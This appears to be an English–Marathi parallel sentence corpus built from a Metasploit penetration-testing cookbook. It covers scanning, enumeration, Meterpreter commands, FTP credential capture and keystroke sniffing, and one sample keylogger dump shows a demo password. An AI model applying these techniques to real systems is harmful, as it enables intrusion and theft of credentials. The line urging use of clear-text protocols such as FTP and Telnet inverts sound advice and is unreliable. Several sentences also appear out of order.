Metasploit is a leading penetration-testing tool.

मेटॅस्प्लॉइट हे एक प्रमुख प्रवेश-परीक्षण साधन आहे.


The Metasploit framework is open-source.

मेटॅस्प्लॉइट फ्रेमवर्क मुक्त-स्रोत आहे.


Kali Linux comes with Metasploit preinstalled.

काली लिनक्समध्ये मेटॅस्प्लॉइट पूर्वनिर्धारित स्थापित केलेले येते.


An exploit allows attackers to compromise a system.

एका शोषकामुळे हल्लेखोरांना प्रणालीशी तडजोड करता येते.


मेटॅस्प्लॉइटमध्ये मॉड्यूलर आर्किटेक्चर आहे.


The msfconsole interface is very flexible.

एमएसएफकन्सोल इंटरफेस खूप लवचिक आहे.


You can launch exploits using msfconsole.

तुम्ही एमएसएफकन्सोल वापरून शोषण सुरू करू शकता.


The web interface is available for Metasploit Pro.

मेटॅस्प्लॉइट प्रो साठी वेब इंटरफेस उपलब्ध आहे.


Installing Metasploit on Windows is straightforward.

विंडोजवर मेटॅस्प्लॉइट स्थापित करणे सोपे आहे.


Download the Metasploit installer from the official website.

अधिकृत वेबसाइटवरून मेटॅस्प्लॉइट इन्स्टॉलर डाउनलोड करा.


Disable antivirus during the installation process.

स्थापना प्रक्रियेदरम्यान अँटीव्हायरस अक्षम करा.


The quick installation script is available for Linux and macOS.

त्वरित स्थापना स्क्रिप्ट लिनक्स आणि मॅकओएससाठी उपलब्ध आहे.


Use msfconsole to start the Metasploit Framework.

मेटॅस्प्लॉइट फ्रेमवर्क सुरू करण्यासाठी एमएसएफकन्सोल वापरा.


Kali Linux is popular among security professionals.

सुरक्षा व्यावसायिकांमध्ये काली लिनक्स लोकप्रिय आहे.


You can set up a penetration testing lab using VMware.

तुम्ही व्हीएमवेअर वापरून प्रवेश-परीक्षण प्रयोगशाळा स्थापित करू शकता.


Creating a penetration testing lab is essential.

प्रवेश-परीक्षण प्रयोगशाळा तयार करणे आवश्यक आहे.


एसएसएच सुरक्षित दूरस्थ प्रवेशास अनुमती देतो.


Configure PostgreSQL for database support.

डेटाबेस समर्थनासाठी पोस्टग्रेएसक्यूएल कॉन्फिगर करा.


The msfdb command manages the Metasploit database.

एमएसएफडीबी कमांड मेटॅस्प्लॉइट डेटाबेस व्यवस्थापित करते.


Use the db_status command to check database connection.

डेटाबेस कनेक्शन तपासण्यासाठी डीबी_स्टेटस कमांड वापरा.


Nmap is the most powerful and preferred scanner for security professionals.

Nmap हे सुरक्षा व्यावसायिकांसाठी सर्वात शक्तिशाली आणि निवडलेले स्कॅनर आहे.


The usage of Nmap varies from novice to an advanced level.

Nmap चा वापर नवशिक्यांपासून ते प्रगत स्तरापर्यंत बदलतो.


We will analyze the various scan techniques in detail.

आम्ही विविध स्कॅन तंत्रांचे तपशीलवार विश्लेषण करू.


Getting ready You run Nmap directly from msfconsole.

तयार व्हा. तुम्ही Nmap थेट msfconsole मधून चालवता.


However, if you want to import the results into the Metasploit database, you need to run the Nmap scan using the -oX flag.

परंतु, जर तुम्हाला परिणाम Metasploit डेटाबेसमध्ये आयात करायचे असतील, तर तुम्हाला -oX ध्वजाचा वापर करून Nmap स्कॅन चालवावे लागेल.


The TCP connect scan is the most basic and default scan type in Nmap.

TCP कनेक्ट स्कॅन हे Nmap मधील सर्वात मूलभूत आणि डीफॉल्ट स्कॅन प्रकार आहे.


It follows the three-way handshake process to detect the open ports on the target machine.

हे लक्ष्य मशीनवरील खुले पोर्ट शोधण्यासाठी तीन-मार्ग हँडशेक प्रक्रियेचे अनुसरण करते.


Let's perform this scan on one of our targets.

चला, हे स्कॅन आपल्या लक्ष्यांपैकी एकावर करूया.


The SYN scan is considered a stealth scanning technique.

SYN स्कॅनला एक गुप्त स्कॅनिंग तंत्र मानले जाते.


It never forms a complete connection between the target and the scanner.

ते लक्ष्य आणि स्कॅनरमध्ये कधीही पूर्ण कनेक्शन तयार करत नाही.


The –sS parameter will instruct Nmap to perform a SYN scan on the target machine.

–sS पॅरामीटर Nmap ला लक्ष्य मशीनवर SYN स्कॅन करण्यासाठी निर्देशित करेल.


The output of both TCP connect and the SYN scan are similar in most of the cases.

TCP कनेक्ट आणि SYN स्कॅनचा आउटपुट बहुतेक प्रकरणांमध्ये समान असतो.


SYN scans are difficult to detect by firewalls and Intrusion Detection Systems (IDS).

SYN स्कॅन फायरवॉल आणि घुसखोरी शोध प्रणाली (IDS) द्वारे शोधणे कठीण आहे.


The –p parameter shows the range of port numbers that we want to scan.

–p पॅरामीटर पोर्ट नंबरची श्रेणी दर्शवते जी आपण स्कॅन करू इच्छितो.


The UDP scan is the scanning technique to identify open UDP ports on the target.

UDP स्कॅन हे लक्ष्यवरील खुले UDP पोर्ट ओळखण्याचे स्कॅनिंग तंत्र आहे.


0-byte UDP packets are sent to the target machine.

0-byte UDP पॅकेट लक्ष्य मशीनवर पाठवले जातात.


If the port is closed, then an ICMP port unreachable message is sent back to the scanner.

जर पोर्ट बंद असेल, तर स्कॅनरला ICMP पोर्ट अनुपलब्ध संदेश परत पाठवला जातो.


Nmap provides lots of different modes for scanning the target machine.

Nmap लक्ष्य मशीन स्कॅन करण्यासाठी अनेक भिन्न मोड प्रदान करते.


During a penetration test, the scanning process can provide lots of useful results.

पेनेट्रेशन टेस्ट दरम्यान, स्कॅनिंग प्रक्रिया अनेक उपयुक्त परिणाम देऊ शकते.


The other widely used Nmap option is version detection [-sV] of different open ports on the target.

दुसरा मोठ्या प्रमाणावर वापरला जाणारा Nmap पर्याय म्हणजे लक्ष्यवरील विविध खुल्या पोर्ट्सचे व्हर्जन डिटेक्शन [-sV] आहे.


If you want the database to connect every time you launch msfconsole, copy the database configuration file to the .msf4 directory.

जर तुम्हाला msfconsole सुरू करताच डेटाबेस कनेक्ट करायचा असेल, तर डेटाबेस कॉन्फिगरेशन फाइल .msf4 निर्देशिकेत कॉपी करा.


Workspaces in Metasploit are used to separate datasets, allowing you to stay organized.

मेटॅस्प्लाइटमधील वर्कस्पेस डेटासेट वेगळे करण्यासाठी वापरले जातात, ज्यामुळे तुम्ही व्यवस्थित राहू शकता.


It is a good idea to create a new workspace to organize all your collected data before starting a new penetration test.

नवीन पेनिट्रेशन टेस्ट सुरू करण्यापूर्वी, तुमचा सर्व डेटा व्यवस्थित करण्यासाठी नवीन वर्कस्पेस तयार करणे चांगली कल्पना आहे.


The default workspace is selected when connecting to the database, which is represented by the * character before its name.

डेटाबेसशी कनेक्ट करताना डीफॉल्ट वर्कस्पेस निवडला जातो, जो त्याच्या नावाच्या आधी * अक्षराने दर्शविला जातो.


To display the usage for the workspace command, use the -h option.

वर्कस्पेस कमांडचा वापर दर्शविण्यासाठी, -h पर्याय वापरा.


To add a new workspace, use the -a option followed by the name of the workspace.

नवीन वर्कस्पेस जोडण्यासाठी, -a पर्याय वापरा, त्यानंतर वर्कस्पेसचे नाव लिहा.


To list the available workspaces, simply type the workspace command.

उपलब्ध वर्कस्पेसची यादी पाहण्यासाठी, फक्त वर्कस्पेस कमांड टाइप करा.


To delete a workspace, use the -d option followed by the name of the workspace.

वर्कस्पेस हटवण्यासाठी, -d पर्याय वापरा, त्यानंतर वर्कस्पेसचे नाव लिहा.


To change the current workspace, use the workspace command followed by the name of the workspace you want to change to.

सध्याचा वर्कस्पेस बदलण्यासाठी, वर्कस्पेस कमांड वापरा, त्यानंतर तुम्हाला बदलायच्या असलेल्या वर्कस्पेसचे नाव लिहा.


To rename a workspace, use the workspace command with the -r option followed by the old workspace name and the new workspace name.

वर्कस्पेसचे नाव बदलण्यासाठी, वर्कस्पेस कमांड -r पर्यायासह वापरा, त्यानंतर जुने वर्कस्पेसचे नाव आणि नवीन वर्कस्पेसचे नाव लिहा.


Once the database is configured, we can start using it.

डेटाबेस कॉन्फिगर झाल्यावर, आपण ते वापरणे सुरू करू शकतो.


First, we will take a look at how to import data from external tools using the db_import command.

सुरुवातीला, db_import कमांड वापरून बाह्य साधनांमधून डेटा कसा आयात करायचा, हे पाहूया.


To test the db_import command, we will use the nmap command, a free security scanner.

db_import कमांडची चाचणी घेण्यासाठी, आम्ही nmap कमांड वापरू, जे एक विनामूल्य सुरक्षा स्कॅनर आहे.


Alternatively, you can run the db_nmap command directly from msfconsole, and the results will be saved in your current database.

पर्यायीरित्या, तुम्ही db_nmap कमांड थेट msfconsole मधून चालवू शकता आणि परिणाम तुमच्या सध्याच्या डेटाबेसमध्ये सेव्ह केले जातील.


Now that we have data in the database, we can start by using the hosts command to display all the hosts stored in our current workspace.

आता डेटाबेसमध्ये डेटा असल्यामुळे, आम्ही hosts कमांड वापरून आपल्या सध्याच्या वर्कस्पेसमध्ये संग्रहित केलेले सर्व होस्ट प्रदर्शित करणे सुरू करू शकतो.


Using the -c option, we can select which columns to display.

-c पर्याय वापरून, आपण कोणती स्तंभे (columns) प्रदर्शित करायची आहेत ते निवडू शकतो.


With the -S option, we can search for specific strings, such as the OS name.

-S पर्यायासह, आपण विशिष्ट स्ट्रिंग्ज शोधू शकतो, जसे की OS चे नाव.


The services command allows us to display the services running on the hosts.

services कमांड आपल्याला होस्टवर चालणाऱ्या सेवा (services) प्रदर्शित करण्यास अनुमती देते.


Using the search command without any options displays all the available services.

कोणतेही पर्याय (options) नसताना search कमांड वापरल्यास, सर्व उपलब्ध सेवा प्रदर्शित होतात.


By combining multiple options, you can search just a specific host and only display the columns you want.

एकाधिक पर्याय एकत्र करून, तुम्ही फक्त विशिष्ट होस्ट शोधू शकता आणि तुम्हाला हवे असलेले स्तंभ (columns) प्रदर्शित करू शकता.


The scan results, as with the previous auxiliary modules, will get stored in the Metasploit database.

स्कॅनचे निकाल, मागील सहाय्यक मॉड्यूल्सप्रमाणे, मेटॅस्प्लाइट डेटाबेसमध्ये संग्रहित केले जातील.


The Simple Mail Transfer Protocol (SMTP) service has two internal commands that allow the enumeration of users.

सिंपल मेल ट्रान्सफर प्रोटोकॉल (SMTP) सेवेमध्ये दोन अंतर्गत कमांड्स आहेत जे वापरकर्त्यांची गणना करण्यास परवानगी देतात.


The SMTP User Enumeration Utility auxiliary module, by default, will use the unix_users.txt file.

SMTP वापरकर्ता गणना युटिलिटी सहाय्यक मॉड्यूल, डीफॉल्टनुसार, unix_users.txt फाइल वापरेल.


To run the module, set the target address range, the number of concurrent threads, and type run.

मॉड्यूल चालवण्यासाठी, लक्ष्य पत्ता श्रेणी, एकाच वेळी चालणाऱ्या थ्रेड्सची संख्या सेट करा आणि रन टाईप करा.


The output reveals a list of valid users for the Metasploitable 2 target.

आउटपुट मेटॅस्प्लाइटेबल 2 लक्ष्यासाठी वैध वापरकर्त्यांची सूची दर्शवते.


SNMP sweeps are often a good indicator in finding a lot of information about a specific system.

SNMP स्वीप्स अनेकदा विशिष्ट प्रणालीबद्दल बरीच माहिती शोधण्याचा चांगला सूचक आहे.


Metasploit has a built-in auxiliary module specifically for sweeping SNMP devices.

मेटॅस्प्लाइटमध्ये SNMP डिव्हाइस स्कॅन करण्यासाठी एक अंगभूत सहाय्यक मॉड्यूल आहे.


First, read-only and read-write community strings play an important role.

सुरुवातीला, केवळ-वाचन आणि वाचन-लेखन समुदाय स्ट्रिंग महत्त्वाची भूमिका बजावतात.


The Management Information Base (MIB) interface allows us to query the device and extract information.

व्यवस्थापन माहिती आधार (MIB) इंटरफेस आम्हाला डिव्हाइसला क्वेरी करण्यास आणि माहिती काढण्याची परवानगी देतो.


We can gather loads of information using SNMP scanning modules, such as open ports, services, hostnames, processes, and uptime.

आम्ही SNMP स्कॅनिंग मॉड्यूल्स वापरून बरीच माहिती गोळा करू शकतो, जसे की ओपन पोर्ट्स, सेवा, होस्टनेम, प्रक्रिया आणि अपटाइम.


The Hypertext Transfer Protocol (HTTP) is an application protocol that serves as the foundation of data communication for the World Wide Web.

हायपरटेक्स्ट ट्रान्सफर प्रोटोकॉल (HTTP) हे एक ॲप्लिकेशन प्रोटोकॉल आहे जे वर्ल्ड वाइड वेबसाठी डेटा कम्युनिकेशनचा आधार म्हणून काम करते.


The HTTP Robots.txt Content Scanner auxiliary module will search for robots.txt files and analyze their content.

HTTP Robots.txt सामग्री स्कॅनर सहाय्यक मॉड्यूल robots.txt फाइल्स शोधेल आणि त्यांच्या सामग्रीचे विश्लेषण करेल.


If the PUT method can be used by any unauthenticated remote user, arbitrary web pages can be inserted.

जर PUT पद्धत कोणत्याही असंबंधित रिमोट वापरकर्त्याद्वारे वापरली जाऊ शकत असेल, तर यादृच्छिक वेब पृष्ठे घातली जाऊ शकतात.


To run the HTTP SSL Certificate Checker auxiliary module, we need to specify the target host and the target port.

HTTP SSL प्रमाणपत्र परीक्षक सहाय्यक मॉड्यूल चालवण्यासाठी, आम्हाला लक्ष्य होस्ट आणि लक्ष्य पोर्ट निर्दिष्ट करणे आवश्यक आहे.


The WinRM Authentication Method Detection auxiliary module sends a request to an HTTP/HTTPS service.

WinRM प्रमाणीकरण पद्धत डिटेक्शन सहाय्यक मॉड्यूल HTTP/HTTPS सेवेला विनंती पाठवते.


To use the WinRM Authentication Method Detection auxiliary module, set the target address range in RHOSTS and type run.

WinRM प्रमाणीकरण पद्धत डिटेक्शन सहाय्यक मॉड्यूल वापरण्यासाठी, RHOSTS मध्ये लक्ष्य पत्ता श्रेणी सेट करा आणि रन टाईप करा.


Integrating with Nessus is a helpful tool to use for penetration testing.

Nessus सोबत एकत्रीकरण हे प्रवेश परीक्षणासाठी वापरण्यासाठी उपयुक्त साधन आहे.


You can download it at https://www.tenable.com/products/nessus-home.

तुम्ही ते https://www.tenable.com/products/nessus-home येथे डाउनलोड करू शकता.


To connect to Nessus, use the nessus_connect command with the Nessus credentials.

Nessus शी कनेक्ट होण्यासाठी, Nessus क्रेडेन्शियल्ससह nessus_connect कमांड वापरा.


After importing the report into Metasploit, we can use the msfconsole database vulns command to list the vulnerabilities found.

रिपोर्ट मेटॅस्प्लाइटमध्ये आयात केल्यानंतर, आम्ही सापडलेल्या असुरक्षिततेची सूची देण्यासाठी msfconsole डेटाबेस vulns कमांड वापरू शकतो.


Metasploit Penetration Testing Cookbook Third Edition Evade antiviruses, bypass firewalls, and exploit complex environments with the most widely used penetration testing framework.

मेटॅस्प्लाइट पेनिट्रेशन टेस्टिंग कुकबुक तिसरी आवृत्ती अँटीव्हायरस टाळा, फायरवॉल बायपास करा आणि सर्वात जास्त वापरल्या जाणाऱ्या पेनिट्रेशन टेस्टिंग फ्रेमवर्कसह जटिल वातावरणांचा फायदा घ्या.


This book covers various recipes of performing penetration testing over different platforms using the Metasploit Framework.

हे पुस्तक मेटॅस्प्लाइट फ्रेमवर्क वापरून विविध प्लॅटफॉर्मवर पेनिट्रेशन टेस्टिंग (Penetration Testing) कसे करावे यासाठी विविध मार्गदर्शक तत्त्वे (recipes) पुरवते.


Starting with the basics of information gathering using several auxiliary modules that help you profile your target.

तुमच्या लक्ष्याची माहिती घेण्यासाठी अनेक सहाय्यक मॉड्यूल्स वापरून माहिती गोळा करण्याच्या मूलभूत गोष्टींपासून सुरुवात करा.


You will learn how to find vulnerabilities by enumerating and scanning the different targets with Metasploit.

मेटॅस्प्लाइट वापरून विविध लक्ष्यांचे परीक्षण (scanning) आणि गणना (enumeration) करून असुरक्षा कशा शोधायच्या हे तुम्ही शिकाल.


This book will show you why client-side attacks are the number one method to compromise organizations.

क्लायंट-साइड हल्ले (client-side attacks) हे संस्थांशी तडजोड करण्याचा (compromise) सर्वात महत्त्वाचा मार्ग का आहे, हे पुस्तक तुम्हाला दर्शवेल.


The book requires basic knowledge of Ruby.

पुस्तकासाठी रूबीचे (Ruby) मूलभूत ज्ञान आवश्यक आहे.


In this chapter, we will cover the following recipes: Installing Metasploit on Windows.

या अध्यायात, आम्ही खालील मार्गदर्शक तत्त्वांचा (recipes) समावेश करू: विंडोजवर मेटॅस्प्लाइट स्थापित करणे.


Download the color images We also provide a PDF file that has color images of the screenshots/diagrams used in this book.

रंगीत प्रतिमा डाउनलोड करा. आम्ही एक PDF फाईल देखील प्रदान करतो ज्यामध्ये या पुस्तकात वापरलेल्या स्क्रीनशॉट/आकृत्यांच्या रंगीत प्रतिमा आहेत.


You can download it here: https://www.packtpub.com/sites/default/files/ downloads/MetasploitPenetrationTestingCookbookThirdEdition_ColorImages.pdf.

तुम्ही ते येथे डाउनलोड करू शकता: https://www.packtpub.com/sites/default/files/ downloads/MetasploitPenetrationTestingCookbookThirdEdition_ColorImages.pdf.


There are a number of text conventions used throughout this book.

या पुस्तकात अनेक लेखन पद्धती वापरल्या आहेत.


CodeInText: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles.

CodeInText: मजकूरातील कोड शब्द, डेटाबेस टेबलची नावे, फोल्डरची नावे, फाइलची नावे, फाइल एक्स्टेंशन, पाथनेम, बनावट URL, वापरकर्ता इनपुट आणि ट्विटर हँडल दर्शवते.


A block of code is set as follows: class MetasploitModule < Msf::Post include Msf::Post::Windows::WMIC def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Run Specified WMIC Command',

कोडचा एक ब्लॉक खालीलप्रमाणे सेट केला आहे: class MetasploitModule < Msf::Post include Msf::Post::Windows::WMIC def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Run Specified WMIC Command',


Any command-line input or output is written as follows: root@kali:~# passwd

कोणतेही कमांड-लाइन इनपुट किंवा आउटपुट खालीलप्रमाणे लिहिले जाते: root@kali:~# passwd


Warnings or important notes appear like this.

इशारे किंवा महत्त्वपूर्ण नोट्स अशा प्रकारे दिसतात.


टिप्स आणि युक्त्या अशा प्रकारे दिसतात.


This section tells you what to expect in the recipe and describes how to set up any software or any preliminary settings required for the recipe.

हा विभाग तुम्हाला रेसिपीमध्ये काय अपेक्षित आहे हे सांगतो आणि रेसिपीसाठी आवश्यक असलेले कोणतेही सॉफ्टवेअर किंवा कोणतीही प्राथमिक सेटिंग्ज (preliminary settings) कशी सेट करायची याचे वर्णन करतो.


This section contains the steps required to follow the recipe.

या विभागात रेसिपीचे अनुसरण करण्यासाठी आवश्यक असलेले चरण (steps) आहेत.


This section usually consists of a detailed explanation of what happened in the previous section.

या विभागात सामान्यतः मागील विभागात काय घडले याचे विस्तृत स्पष्टीकरण असते.


This section consists of additional information about the recipe in order to make you more knowledgeable about the recipe.

या विभागात तुम्हाला रेसिपीबद्दल अधिक माहिती देण्यासाठी, रेसिपीबद्दल अतिरिक्त माहिती दिलेली आहे.


Get in touch Feedback from our readers is always welcome.

संपर्कात रहा. आमच्या वाचकांकडून अभिप्राय नेहमीच स्वागतार्ह आहे.


Unpatched systems are a safe haven for hackers.

अपडेट न केलेले सिस्टम्स हॅकर्ससाठी सुरक्षित आश्रयस्थान आहेत.


Regularly patching and updating the operating system is essential.

ऑपरेटिंग सिस्टम नियमितपणे पॅच करणे आणि अपडेट करणे आवश्यक आहे.


In this chapter, we will focus on vulnerabilities.

या अध्यायात, आम्ही असुरक्षिततेवर लक्ष केंद्रित करू.


Pentesters start looking for available exploits.

पेनिट्रेशन टेस्टर्स उपलब्ध एक्सप्लॉइट्स शोधण्यास सुरुवात करतात.


This chapter will be the first step toward penetrating our target.

हे प्रकरण आपल्या लक्ष्यावर प्रवेश करण्याचे पहिले पाऊल असेल.


We will focus on some of the most widely used operating systems.

आम्ही सर्वात जास्त वापरल्या जाणाऱ्या ऑपरेटिंग सिस्टमपैकी काहींवर लक्ष केंद्रित करू.


We will also look at how to use exploits.

आम्ही एक्सप्लॉइट्स कसे वापरावे यावर देखील लक्ष देऊ.


Let's move further on with the various recipes.

चला, विविध रेसिपीसह पुढे जाऊया.


It is essential to understand the usage of exploits.

एक्सप्लॉइट्सचा वापर समजून घेणे आवश्यक आहे.


The first thing required is to scan the target for open ports.

आवश्यक असलेली पहिली गोष्ट म्हणजे ओपन पोर्ट्ससाठी लक्ष्य स्कॅन करणे.


Once you have gathered enough information, select exploits accordingly.

एकदा पुरेशी माहिती मिळाल्यावर, त्यानुसार एक्सप्लॉइट्स निवडा.


MSFconsole is the most popular interface for the Metasploit Framework.

MSFconsole हे Metasploit Framework साठी सर्वात लोकप्रिय इंटरफेस आहे.


To display the help menu, simply type the help command.

मदत मेनू प्रदर्शित करण्यासाठी, फक्त help कमांड टाइप करा.


The search command is probably the most helpful.

search कमांड कदाचित सर्वात उपयुक्त आहे.


Linux is one of the most widely used operating systems.

Linux हे सर्वात जास्त वापरले जाणारे ऑपरेटिंग सिस्टमपैकी एक आहे.


आम्ही Metasploitable 2 वापरणार आहोत.


Now that we know the version of the Samba daemon running.

आता आपल्याला Samba daemon ची आवृत्ती माहीत आहे.


We can search for vulnerabilities and then use the search command.

आम्ही असुरक्षितता शोधू शकतो आणि नंतर search कमांड वापरू शकतो.


This module exploits a command execution vulnerability.

हे मॉड्यूल कमांड अंमलबजावणीतील असुरक्षिततेचा फायदा घेते.


By specifying a username containing shell meta characters, attackers can execute arbitrary commands.

शेल मेटा कॅरेक्टर्स असलेले वापरकर्तानाव निर्दिष्ट करून, हल्लेखोर मनमानी कमांड कार्यान्वित करू शकतात.


The C:\Users\Public\Documents\jack_of_hearts.docx file gets downloaded in the root folder of our attacking machine.

C:\Users\Public\Documents\jack_of_hearts.docx ही फाईल आपल्या हल्ला करणाऱ्या मशीनच्या रूट फोल्डरमध्ये डाउनलोड होते.


Similarly, we can use the upload command to send any file to the target machine.

त्याचप्रमाणे, आपण कोणतीही फाईल लक्ष्यित मशीनवर पाठवण्यासाठी अपलोड कमांड वापरू शकतो.


To remove a file or a directory from the target machine, we can use the rm command.

लक्ष्यित मशीनमधून फाईल किंवा डिरेक्टरी काढण्यासाठी, आपण rm कमांड वापरू शकतो.


Editing files using Meterpreter can be done by using the edit command, which uses vim.

मीटरप्रेटर वापरून फाईल्स संपादित करणे 'एडिट' कमांड वापरून करता येते, जे 'विम' वापरते.


One of my favorite commands is the show_mount command, which allows you to list all mount points/logical drives.

माझ्या आवडत्या कमांड्सपैकी एक म्हणजे show_mount कमांड, जी तुम्हाला सर्व माउंट पॉइंट्स/लॉजिकल ड्राइव्हजची यादी करण्यास मदत करते.


To display all the available commands, you can use the help command.

उपलब्ध असलेल्या सर्व कमांड्स प्रदर्शित करण्यासाठी, तुम्ही help कमांड वापरू शकता.


Meterpreter gives us complete access to the target machine by setting up an interactive command prompt.

मीटरप्रेटर एक इंटरएक्टिव्ह कमांड प्रॉम्प्ट सेट करून आपल्याला लक्ष्यित मशीनवर पूर्ण प्रवेश देतो.


We can also drop a shell session to work in the default Windows DOS mode.

आपण डीफॉल्ट विंडोज डीओएस मोडमध्ये काम करण्यासाठी शेल सेशन देखील टाकू शकतो.


In the next recipe, we will look at a very interesting Meterpreter command called timestomp.

पुढील कृतीमध्ये, आपण timestomp नावाच्या एका अतिशय मनोरंजक मीटरप्रेटर कमांडकडे पाहू.


Meterpreter provides us with some useful networking commands as well.

मीटरप्रेटर आपल्याला काही उपयुक्त नेटवर्किंग कमांड्स देखील पुरवतो.


These commands can be useful in understanding the network structure of the target user.

हे कमांड्स लक्ष्यित वापरकर्त्याच्या नेटवर्कची रचना समजून घेण्यासाठी उपयुक्त ठरू शकतात.


We can analyze whether the system belongs to a LAN or if it is a standalone system.

सिस्टम LAN चा भाग आहे की नाही किंवा स्वतंत्र प्रणाली आहे, याचे विश्लेषण आपण करू शकतो.


Subnetwork or subnet is the concept of dividing a large network into smaller, identifiable parts.

सबनेटवर्क किंवा सबनेट म्हणजे मोठ्या नेटवर्कला लहान, ओळखता येण्याजोग्या भागांमध्ये विभागण्याची संकल्पना आहे.


The gateway specifies the forwarding or the next hop IP address.

गेटवे फॉरवर्डिंग किंवा पुढील हॉप IP ऍड्रेस निर्दिष्ट करते.


There are several networking commands provided by Meterpreter, which we can display using the help command.

मीटरप्रेटरद्वारे प्रदान केलेले अनेक नेटवर्किंग कमांड्स आहेत, जे आपण help कमांड वापरून प्रदर्शित करू शकतो.


The arp command displays the host ARP cache.

arp कमांड होस्ट एआरपी कॅशे दर्शवते.


The getproxy command allows us to see the current proxy configuration.

getproxy कमांड आपल्याला वर्तमान प्रॉक्सी कॉन्फिगरेशन पाहण्याची परवानगी देते.


The ipconfig/ifconfig commands are used to display all the TCP/IP network configurations.

ipconfig/ifconfig कमांड्स TCP/IP नेटवर्क कॉन्फिगरेशन प्रदर्शित करण्यासाठी वापरले जातात.


The netstat command displays the network connections.

netstat कमांड नेटवर्क कनेक्शन दर्शवते.


The portfwd command is used to forward incoming TCP and/or UDP connections to remote hosts.

portfwd कमांड इनकमिंग TCP आणि/किंवा UDP कनेक्शन दूरस्थ होस्टवर फॉरवर्ड करण्यासाठी वापरली जाते.


To generate some traffic, we will log in to the Metasploitable 3 machine.

काही रहदारी निर्माण करण्यासाठी, आम्ही Metasploitable 3 मशीनमध्ये लॉग इन करू.


Then, we will stop the sniffer using the sniffer_stop 3 command.

त्यानंतर, आम्ही sniffer_stop 3 कमांड वापरून स्निफर थांबवू.


Download the PCAP using the sniffer_dump 3 command.

sniffer_dump 3 कमांड वापरून PCAP डाउनलोड करा.


Now that we have the PCAP file, we can use tcpdump, a packet analyzer command-line tool.

आता आपल्याकडे PCAP फाइल आहे, आम्ही tcpdump वापरू शकतो, एक पॅकेट विश्लेषक कमांड-लाइन साधन.


Looking at the output, we can see that we were able to capture the FTP credentials.

आउटपुट पाहता, आपण पाहू शकतो की आम्ही FTP क्रेडेन्शियल्स कॅप्चर करण्यास सक्षम होतो.


This is the reason why you should use clear text protocols, such as FTP and Telnet.

यामुळेच तुम्ही FTP आणि Telnet सारखे स्पष्ट मजकूर प्रोटोकॉल वापरावेत.


You might have realized the important role of Meterpreter to make our penetration task easier.

आपल्याला कदाचित लक्षात आले असेल की मीटरप्रेटरची भूमिका आपल्या प्रवेशाचे कार्य सुलभ करण्यासाठी किती महत्त्वाची आहे.


We will dive deeper into the core of Metasploit to understand how Meterpreter scripts function.

मीटरप्रेटर स्क्रिप्ट कशा प्रकारे कार्य करतात हे समजून घेण्यासाठी, आम्ही मेटास्प्लाइटच्या गाभ्यात अधिक खोलवर जाऊ.


From a penetration tester's point of view, it is essential to know how to implement our own scripting techniques.

एका प्रवेश परीक्षकाच्या दृष्टिकोनातून, आपल्या स्वतःच्या स्क्रिप्टिंग तंत्रांना कसे लागू करावे हे जाणून घेणे आवश्यक आहे.


There can be situations when you have to perform tasks where Meterpreter may not be enough.

अशा परिस्थितीत जेव्हा आपल्याला अशी कामे करावी लागतील जिथे मीटरप्रेटर पुरेसे नसेल.


चला तर, कृतीपासून सुरुवात करूया.


The Meterpreter API can be helpful for programmers to implement their own scripts.

मीटरप्रेटर एपीआय प्रोग्रामरसाठी त्यांच्या स्वतःच्या स्क्रिप्ट्स लागू करण्यासाठी उपयुक्त ठरू शकते.


We will be dealing with Ruby scripts in the next few recipes.

पुढील काही कृतींमध्ये, आम्ही रूबी स्क्रिप्ट्सवर काम करू.


Let's start by launching an interactive Ruby shell with Meterpreter.

चला मीटरप्रेटरसह एक इंटरएक्टिव्ह रूबी शेल सुरू करून सुरुवात करूया.


Now that we are in the Ruby shell, we can execute our Ruby scripts.

आता आपण रूबी शेलमध्ये आहोत, आम्ही आमच्या रूबी स्क्रिप्ट्स कार्यान्वित करू शकतो.


Let's use the framework object and display information about our session.

चला फ्रेमवर्क ऑब्जेक्ट वापरूया आणि आमच्या सत्राबद्दल माहिती प्रदर्शित करूया.


Use client to display information about our target machine.

आमच्या लक्ष्यित मशीनबद्दल माहिती प्रदर्शित करण्यासाठी क्लायंट वापरा.


This call will print the output and add a carriage return at the end.

हे कॉल आउटपुट मुद्रित करेल आणि शेवटी कॅरेज रिटर्न (carriage return) जोडेल.


This call is used most often in the scripting language.

हा कॉल स्क्रिप्टिंग भाषेत वारंवार वापरला जातो.


रेलगन हे स्पष्ट उत्तर आहे.


If you have to sniff the keystrokes from the Default desktop, you will have to make sure that your current Meterpreter active browser is set to Session 0/WinSta0/Default.

जर तुम्हाला डीफॉल्ट डेस्कटॉपवरून कीस्ट्रोक स्निफ करायचे असतील, तर तुम्हाला हे सुनिश्चित करावे लागेल की तुमचा सध्याचा मीटरप्रिटर सक्रिय ब्राउझर सेशन 0/WinSta0/Default वर सेट आहे.


If you have to sniff the login password, you will have to change the active desktop to Session 0/WinSta0/Winlogon.

जर तुम्हाला लॉगिन पासवर्ड स्निफ करायचा असेल, तर तुम्हाला सक्रिय डेस्कटॉप सेशन 0/WinSta0/Winlogon वर बदलावे लागेल.


Let's check our current desktop using the getdesktop command.

चला, getdesktop कमांड वापरून आपला सध्याचा डेस्कटॉप तपासूया.


As you can see, we are not in the WinSta0 station, which is the only interactive desktop station.

तुम्ही पाहू शकता की, आम्ही WinSta0 स्टेशनमध्ये नाही, जे एकमेव इंटरएक्टिव्ह डेस्कटॉप स्टेशन आहे.


So, if we run a keystroke capture here, it won't return any result.

म्हणून, जर आपण येथे कीस्ट्रोक कॅप्चर चालवले, तर ते कोणतेही परिणाम देणार नाही.


Let's change our desktop to WinSta0\Default.

चला, आपला डेस्कटॉप WinSta0\Default वर बदलूया.


The preceding command line shows that we moved to the interactive Windows desktop station by using the setdesktop command.

वरील कमांड लाइन दर्शवते की आम्ही setdesktop कमांड वापरून इंटरएक्टिव्ह विंडोज डेस्कटॉप स्टेशनवर गेलो.


So, now we are ready to run a keystroke sniffer to capture the keys pressed by the user on the target machine.

म्हणून, आता आम्ही लक्ष्यित मशीनवर वापरकर्त्याने दाबलेल्या कळा कॅप्चर करण्यासाठी कीस्ट्रोक स्निफर चालवण्यासाठी तयार आहोत.


Dumping captured keystrokes... gmail.com<CR> demouser<Right Shift>@gmail.com<CR> <Right Shift>P4ssw0rd<CR>

कॅप्चर केलेले कीस्ट्रोक डंप करत आहे... gmail.com<CR> demouser<Right Shift>@gmail.com<CR> <Right Shift>P4ssw0rd<CR>


